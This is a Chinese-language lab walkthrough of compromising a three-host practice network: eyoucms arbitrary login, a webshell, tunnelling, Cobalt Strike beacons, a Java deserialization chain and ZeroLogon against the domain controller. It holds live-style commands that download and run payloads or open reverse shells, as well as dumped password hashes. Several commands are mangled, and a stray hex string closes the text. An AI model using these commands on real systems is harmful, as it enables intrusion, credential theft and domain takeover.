環境搭建:

搭建過程

web配置2個網卡,網卡0/0,22/0這2個網卡。

192.168.0.116

192.168.22.152

data配置22網卡和10網卡。

192.168.22.146

10.10.10.136

ad配置10網卡。

10.10.10.137

web打點

先去測試網絡連通性。

端口掃描

使用nmap進行端口探測。

目錄掃描

然后掃描該網站存在那些url地址。.

發現后臺地址。

Nday利用

eyoucms-任意用戶登錄

application/api/controller/Ajax.php

/**  * 獲取表單令牌  */ public function get_token($name = '__token__'){   if (IS_AJAX) {     echo $this->request->token($name);     exit;   } else {     abort(404);   } }

跟進 $this->request->token core/library/think/Request.php

/**  * 生成請求令牌  * @access public  * @param string $name 令牌名稱  * @param mixed $type 令牌生成方法  * @return string  */ public function token($name = '__token__', $type = 'md5'){   $type = is_callable($type) ? $type : 'md5';   $token = call_user_func($type, $_SERVER['REQUEST_TIME_FLOAT']);   if ($this->isAjax()) {     header($name . ': ' . $token);   }   Session::set($name, $token);   return $token; }

代碼主要的功能是設置session 但是值是md5 $_SERVER['REQUEST_TIME_FLOAT']); 這個是獲取服務

時間戳

再看后臺驗證 application/admin/controller/Base.php

梳理思路 現在可以隨意設置session里的name 值是md5的

現在可以隨意設置session里的name 值是md5的

接著繞過 session('?admin_id') && getTime() - intval($admin_login_expire) <

$web_login_expiretime

$admin_login_expire 是服務器時間戳 md5 接著經過intval處理

public function get_token($name = '__token__'){   if (IS_AJAX) {   //  echo $this->request->token($name);     $token = call_user_func('md5', $_SERVER['REQUEST_TIME_FLOAT']);     echo getTime() - intval($token);     exit;   } else {     abort(404);   } }

漏洞復現:

發現是eyoucms, 經過搜索發現后臺存在任意登錄漏洞。

寫一個exp文件,然后獲取用戶cookie。

然后替換cookie,進行登錄。

然后在index.html文件寫入paylaod。

獲取webshell

使用蟻劍連接,成功獲取webshell

內網滲透

frp內網穿透

上傳frp,運行。

客戶端,開啟服務。

上線cs

使用cs生成木馬,然后通過蟻劍進行上線

內網信息收集

hashdump獲取用戶hash。

Administrator:500:aad3b435b51404eeaad3b435b51404ee:c51ba7c328cd01866885a37748816e07:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

收集域內信息。

該主機不是域內主機,為雙網卡主機。

網段為0和22端。不出網機器。

使用cs進行權限提升

使用代理進行端口掃描。發現存在多個端口開放。

橫向移動

發現桌面有賬號.txt

和一個jar包,下載jar包,然后到本地,進行利用。

java代碼審計:

使用jd-gui反編譯jar包。

接收服務過來的信息。

反序列化關鍵代碼

ObjectInputStream ois = newObjectInputStream(this.socket.getInputStream());  Message ms = (Message)ois.readObject();

這個是獲取socket輸入類再把序列化的內容跟反序列化變成指定的類。這里是服務器發送過來客戶端的處理代碼。服務端 在接收 登陸信息的時候 也應該是同樣的處理。不過在轉換類型的時候可能會異常退出。導致服務用過一次之后就不能使用了。從web服務器中看到的java版本是jdk1.8.0_65 這個版本是能夠使用cc1這條反序列化鏈接的。


<dependencies>   <dependency>     <groupId>commons-collections</groupId>     <artifactId>commons-collections</artifactId>     <version>3.2.1</version>   </dependency> </dependencies>

序列化之后再進行反序列化

橫向data主機

使用ysuse生成cc6.ser文件。

反彈shell

使用cs進行執行。

shell type C:\phpstudy_pro\tmp\cc66.ser | C:\phpstudy_pro\tmp\nc64.exe -nv 192.168.22.146 9999

nc開啟監聽,成功反彈shell。

data主機上線cs

netsh interface portproxy add v4tov4 listenport=4455 connectaddress=1.xxx.xxx.40 connectport=4455
shell netsh interface portproxy add v4tov4 listenport=80connectaddress=192..168.22.152:connectport=80certutil -urlcache -split -f http://192..168.22.152:/beacon1.exe  beacon1.execertutil -urlcache -split -f http://192.168.22.152/beacon1.exe  beacon1.exepowershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://192.168.22.152/beacon1.exe','beacon1.exe');start-process beacon.exe


使用cs生成beacon.exe,然后下載到data主機上,執行exe文件。

成功上線,發現該主機為雙網段主機,10端為域內地址段。

域滲透

域內信息收集

發現域名為data.vsmoon.com

然后用mimikatz獲取憑證

msf跨路由訪問域控

使用msf生成后門。

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.128 lport=6666

-f exe > shell.exe

域控地址為:10.10.10.137

使用msf生成后門。

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= 192.168. 22.129 lport=6666

-f exe > shell.exe

然后使用msf開啟監聽,上傳shell.exe,成功上線。

搭建代理

然后設置代理。

使用nmap進行端口探測

ZeroLogon(CVE-2020-1472) 提權域控

發現該主機為域內主機,存在ZeroLogon置空漏洞。

使用腳本進行域控密碼置空。

獲取管理員hahsh

使用wmiexec進行橫向移動

Administrator:500:aad3b435b51404eeaad3b435b51404ee:66120f7b66195b694faeabc4e3b6752d:::

獲取域控權限

成功獲取域控權限。

利用獲取到的管理員hash遠程連接導出sam數據庫中原來的計算機hash

恢復域控hash

恢復ntds.dit中的計算機hash并驗證

.最后驗證密碼已經更改回去


73c7ee4d35c15fc80e7d8d9a13150a60ca9a0def38efc8482161f5f673ec677e7bec71316557b13550e4769094c59d18a3ab97553c625d24b687f5314651c79b55cf8e6fb1e21cafc463fa40166dd5deb8a6007125af1b900c67f00b8adf67468ad2e1f95aa3f9038c4670eb45e7646500d9d076e75bb93d01cf3ff748e1f9d5a77d4a978fb5434399ca8b2e21539d6882f7337fea9bc5c72c26a9b8a3a573294dc431780ad499c4eaebdd46abbcfe5b11d2393dacc253dfae8e6ce857b00af00a761379c73333f197bfd85b12da764f3ccbebb3072e03bc9698f3f382b3b28e231fb6c633cc71089896788a351deee1